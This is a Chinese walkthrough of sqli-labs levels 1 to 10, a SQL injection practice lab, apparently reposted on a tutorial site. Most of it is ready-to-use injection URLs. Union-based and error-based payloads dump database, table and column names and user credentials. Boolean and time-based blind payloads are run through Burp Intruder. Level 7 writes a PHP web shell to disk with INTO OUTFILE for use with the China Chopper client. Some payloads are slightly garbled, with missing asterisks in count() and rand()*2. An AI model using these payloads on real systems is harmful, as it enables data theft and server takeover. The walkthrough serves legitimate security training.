第七篇 sqli-lab实战练习(Less-1 到 Less-10)
2022/3/19 19:28:23
本文主要是介绍第七篇 sqli-lab实战练习(Less-1 到 Less-10),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
Less-1 基于错误字符串单引号注入
- 目标
获取数据库名,表名,列名,数据
输入:http://www.sqllabs.com:7080/Less-1/?id=1'
注释符确认:通过输入#,--+,/**/,%23,http://www.sqllabs.com:7080/Less-1/?id=1' or 1=1 得知--+和%23都可以正常返回
判断单引号没有闭合导致的错误,修改为:http://www.sqllabs.com:7080/Less-1/?id=1' or 1=1 --+,正常显示
通过 order by获取列数:http://www.sqllabs.com:7080/Less-1/?id=1' order by 4 --+,当order by为4的时候,才报错,说明有3列
使用union判断是否有回显:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,3 --+,因为需要有回显,需要输入一个不存在的ID的值
获取所有的数据库:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
获取数据库security的表名:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
获取users的列名:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
获取数据:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('-', username, password)) from security.users --+
Less-2 基于错误整型注入
- 目标
验证注入类型
按照第一关,分别进行测试:
id=1':报错 id=1' or 1=1:报错 id=1' or 1=2:报错 只有在id=1 或者 id = 1 or 1=1 或者 id = 1 or 1=2不报错,说明是整型注入
http://www.sqllabs.com:7080/Less-2/?id=1 or 1=2 --+
http://www.sqllabs.com:7080/Less-2/?id=1' or 1=2 --+
Less-3 基于错误单引号括号注入
- 目标
获取错误提示,推断注入点
http://www.sqllabs.com:7080/Less-3/?id=1' or 1=1
根据错误提示,应该加:')
http://www.sqllabs.com:7080/Less-3/?id=1') or 1=1 --+ 可以正常返回
Less-4 基于错误字符串双引号注入
- 目标
获取错误提示,推断注入点
输入id=1,id=1'都正常返回结果,改为id=1",返回错误信息:http://www.sqllabs.com:7080/Less-4/?id=1"
根据提示,需要再加入一个): http://www.sqllabs.com:7080/Less-4/?id=1") or 1=1 --+
Less-5 基于双查询注入字符串单引号
- 目标
1. 理解双查询注入 2. 使用双查询来完成注入
双查询注入:简单理解就是一个select语句嵌套一个select语句,需要用到的四个函数:
floor() : 向下取整 count() : 常用于计算行的数目 group by: 分组 rand() : 产生一个0-1的随机数
在输入:http://www.sqllabs.com:7080/Less-5/?id=1 ,发现没有回显,所以不能简单的使用union查询
输入:http://www.sqllabs.com:7080/Less-5/?id=1' , 存在单引号错误
获取数据库版本:http://www.sqllabs.com:7080/Less-5/?id=1' union select 1,count(),concat((select version()),floor(rand()2)) as a from information_schema.tables group by a --+
获取数据库名:
http://www.sqllabs.com:7080/Less-5/?id=1' union select 1,count(),concat((select database()),floor(rand()2)) as a from information_schema.tables group by a --+
还可以使用updatexml进行处理:http://www.sqllabs.com:7080/Less-5/?id=1' and updatexml(1,concat('|',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'|'),1) --+
Less-6 基于双查询注入字符串双引号
- 目标
1. 双查询完成注入 2. 获取数据库表名 3. 获取表字段 4. 获取表内容
输入:http://www.sqllabs.com:7080/Less-6/?id=1" 发生报错
和Less-5不同的就是,将单引号改为双引号
获取数据库表名:http://www.sqllabs.com:7080/Less-6/?id=1" union select 1,count(),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),'|',floor(rand()2)) a from information_schema.columns group by a --+
获取users表字段:http://www.sqllabs.com:7080/Less-6/?id=1" union select 1,count(),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'|',floor(rand()2)) a from information_schema.columns group by a --+
获取users表username数据:http://www.sqllabs.com:7080/Less-6/?id=1" union select 1,count(),concat((select username from users limit 1,1),'|',floor(rand()2)) a from security.users group by a --+
Less-7 Dump into outfile
- 目标
1. 使用outfile函数实现一句话木马
输入:http://www.sqllabs.com:7080/Less-7/?id=1', 尝试id=1')也一样报错,在输入 id=1')) --+ 正确显示
outfile格式:select '写入内容' into outfile '写入文件路径'
为了避免写入文件权限问题,可以直接写入临时目录:http://www.sqllabs.com:7080/Less-7/?id=1')) union select 1,2,'' into outfile '/tmp/less7.php' --+,虽然这个时候也会报错,但实际文件已经写进去了
通过中国菜刀链接:http://192.168.1.7:7080/tmp/less7.php
Less-8 基于布尔盲注-单引号
- 目标
使用burp获取数据库信息
输入:http://www.sqllabs.com:7080/Less-8/?id=1' 发生报错
在使用的时候,注意需要对url进行编码,比如:/Less-8/?id=1%27%20and%20length(database())=8%20--+
获取数据库长度:通过抓包将url请求send到Intruder中,修改变量,示例:
Payloads配置为
点击start attack
当变量为8的时候,返回的length不一样,说明数据库的长度为:8
获取数据库名:
点击start attack 结果按照length进行排序,这样就可以查看到获取的数据库名:
Less-9 基于时间盲注-单引号
- 目标
1. 学会判断延时注入 2. 使用sleep来获取数据库信息
我们在使用单引号、双引号、id=1 and 1=2发现都能正常的返回,说明后台对这些数据都做了统一的输出,这个时候就可以尝试使用延时注入的方式
输入:http://www.sqllabs.com:7080/Less-9/?id=1 and 1=2,正常返回
输入:http://www.sqllabs.com:7080/Less-9/?id=1' and sleep(10) --+,发现结果在10s后才返回,说明存在延时注入
使用burp来判断数据的长度:/Less-9/?id=1%27%20and%20if(length(database())=§8§,sleep(10),1)%20--+
所以数据库的长度为8
获取数据库名:/Less-9/?id=1%27%20and%20if(substr(database(),§1§,1)=%27§a§%27,sleep(5),1)%20--+
结果:
Less-10 基于时间盲注-双引号
只要将Less-9 的单引号改为双引号就可以了
这篇关于第七篇 sqli-lab实战练习(Less-1 到 Less-10)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-24内网穿透资料入门教程
- 2024-12-24微服务资料入门指南
- 2024-12-24微信支付系统资料入门教程
- 2024-12-24微信支付资料详解:新手入门指南
- 2024-12-24Hbase资料:新手入门教程
- 2024-12-24Java部署资料
- 2024-12-24Java订单系统资料:新手入门教程
- 2024-12-24Java分布式资料入门教程
- 2024-12-24Java监控系统资料详解与入门教程
- 2024-12-24Java就业项目资料:新手入门必备教程